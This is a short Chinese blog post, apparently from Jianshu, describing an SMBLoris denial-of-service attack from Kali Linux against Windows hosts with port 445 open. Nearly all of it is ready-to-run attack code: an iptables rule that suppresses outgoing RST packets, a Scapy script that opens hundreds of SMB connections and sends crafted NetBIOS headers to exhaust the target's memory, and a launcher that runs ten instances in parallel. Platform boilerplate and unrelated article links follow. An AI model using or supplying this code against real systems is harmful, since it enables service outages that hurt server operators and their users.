kali下利用smb漏洞实现DDOS(SMBLoris攻击消耗windows RAM)

参考:https://v.qq.com/x/page/d0532b3e7p6.html?start=36
http://www.freebuf.com/news/142697.html

目标开放445端口,windows系统。
攻击者kali最新版(2017年8月3日 21:42:20)

cat rst.sh

#!/bin/bash
iptables -F
iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

cat smb3.py

from scapy.all import *
import sys
p0 = int(sys.argv[1])
conf.L3socket
conf.L3socket=L3RawSocket
i=IP()
i.dst="目标IP"
t=TCP()
t.dport=445

for p in range(p0,p0+700):
  print p
  t.sport = p
  t.flags = "S"

  r=sr1(i/t)
  rt=r[TCP]
  t.ack=rt.seq+1
  t.seq=rt.ack
  t.flags="A"
  sbss='\x00\x01\xff\xff'
  send(i/t/sbss)

cat run10.sh

#!/bin/bash
python smb3.py 0 &
python smb3.py 1000 &
python smb3.py 2000 &
python smb3.py 3000 &
python smb3.py 4000 &
python smb3.py 5000 &
python smb3.py 6000 &
python smb3.py 7000 &
python smb3.py 8000 &
python smb3.py 9000 &

运行run10.sh开始攻击测试。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 转自:http://www.freebuf.com/sectool/105524.html 本文为作者总结自己在渗...
    许安念安阅读 5,628评论 0 10
  • 参考http://blog.csdn.net/huwei2003/article/details/45476743...
    鱼仔_1625阅读 2,307评论 0 5
  • 看到李老师的评价很高兴,又向前进一步,但是还是存在不足的地方,老实说我到目前还没理解,具体怎么写还不能做到完美...
    云飞扬8866阅读 81评论 1 0
  • 寒假奎文行动小结(1月18日) (凌子航爸爸整理) 2017.1.18(星期三)。21:30前上传照片: 诵读国学...
    野百合c阅读 513评论 0 0
  • 友谊:你烦恼所以我烦恼,你忧愁所以我忧愁,你得意所以我骂了一句傻逼以后也得意,无在于能否相陪到老,因为你已经在我心里。
    十十万加阅读 166评论 0 0